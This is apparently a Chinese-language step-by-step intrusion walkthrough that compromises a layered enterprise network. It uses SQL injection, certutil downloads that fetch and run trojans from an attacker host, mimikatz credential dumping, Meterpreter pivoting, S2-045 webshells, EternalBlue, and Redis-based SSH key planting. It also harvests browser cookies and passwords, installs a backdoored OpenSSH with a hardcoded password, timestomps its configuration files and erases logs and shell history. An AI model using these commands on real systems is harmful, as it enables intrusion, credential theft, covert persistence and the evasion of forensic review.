一、企業網拓撲圖
二、獲取一層內網控制權
1.注入點
http://111.47.13.66:88/Content.aspx?ClassId=1&id=5
執行命令可用
sqlmap.py -u "http://111.47.13.66:88/Content.aspx?ClassId=1&id=5" --dbms "mssql" --os-shell
製作木馬文件
2.下載執行木馬
certutil -urlcache -split -f http://111.47.13.68:8888/rh.exe c:\\rh.exe
c:\\rh.exe
3.下載執行teamviewer
certutil -urlcache -split -f http://111.47.13.68:8888/tv.exe c:\\tv.exe
taskkill /f /im tver.exe
4.會話隔離導致無桌面
5.下載執行runas降權成功執行
certutil -urlcache -split -f http://111.47.13.68:8888/rs.exe c:\\rs.exe
rs.exe winlogon.exe "tv.exe -o 2.txt"
6.加載mimikatz讀取明文密碼
7.arp發現IP信息
8.添加路由轉發規則 session1
9.製作socks代理通道
root@kali:/# vim /etc/proxychains.conf
10.proxychains+nmap訪問掃描目標IP
proxychains nmap -sT -sV -Pn -n 192.168.1.222 -p 80,3389,445
11.將3389埠對外轉發
meterpreter > portfwd add -l 2222 -r 192.168.1.222 -p 3389
12.將目標80埠對外轉發做進一步內網滲透
meterpreter > portfwd add -l 2233 -r 192.168.1.222 -p 80
13.利用s2-045,寫webshell並執行木馬反彈,成功控制這台2003機器
三、獲取二層內網控制權(目標win7)
1.查看arp信息以及子網信息
2.添加路由轉發規則以及socks通道
3.轉發並掃描目標機器445埠漏洞
4.使用永恆之藍進行漏洞利用
5.注入添加系統帳戶dll文件
有時會導致目標系統出錯重啟
6.轉發3389埠進行連接
四、獲取二層內網控制權(目標2008)
1.獲取跳板機長期控制權
2.其他過程略,轉發出445埠,使用永恆之藍進行利用
3.由於該二層內網機器是斷網環境,如果反彈shell則需要一層跳板機做反彈埠轉發,這裡使用Port2Port.exe,並採用內存執行的方式實現。
4.生成dll木馬文件,並用雙子星後門加載,成功回連shell
5.主機信息收集
6.調用post/windows/gather/enum_applications模塊獲取目標主機上的軟體安裝信息
7.調用post/windows/gather/dumplinks獲取目標主機上最近訪問過的文檔、連結信息
8.調用post/windows/gather/enum_ie後滲透模塊,讀取目標主機IE瀏覽器cookies等緩存信息,嗅探目標主機登錄過的各類帳號密碼
命令:run post/windows/gather/enum_ie
9.運行getgui模塊開啟遠程桌面並添加帳戶,
10.轉發3389埠並成功連接
11.入侵痕跡擦除
在滲透利用過程中難免留下日誌等信息痕跡,使用clearev命令擦除痕跡後再跑。
命令:clearev
五、獲取二層內網控制權(目標linux)
1.查看和掃描arp信息發現主機10.10.10.100
2.配置路由轉發並掃描發現6379埠redis可能存在漏洞
3.本地生成ssh公鑰、私鑰文件
4.代理連接方式寫入公鑰文件到目標redis
5.訪問redis配置公鑰到.ssh目標並更名
6.轉發目標22埠,並採用私鑰成功登陸
7.添加ssh後門
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
上傳後門版openssh源文件
vi versio.h
vi includes.h
編譯安裝:
編譯過程中可能出現的報錯:
configure: error: *** zlib.h missing – please install first or check config.log
#yum install zlib-devel
configure: error: *** Can』t find recent OpenSSL libcrypto (see config.log for details) ***
#yum install openssl openssl-devel
shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh
shell-# make && make install
shell-# cp ssh_config sshd_config /etc/ssh/
修改文件時間:
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
重啟服務
shell-# /etc/init.d/sshd restart
登入後門:
ssh -l root IP
password:13995845381
echo >/root/.bash_history //清空操作日誌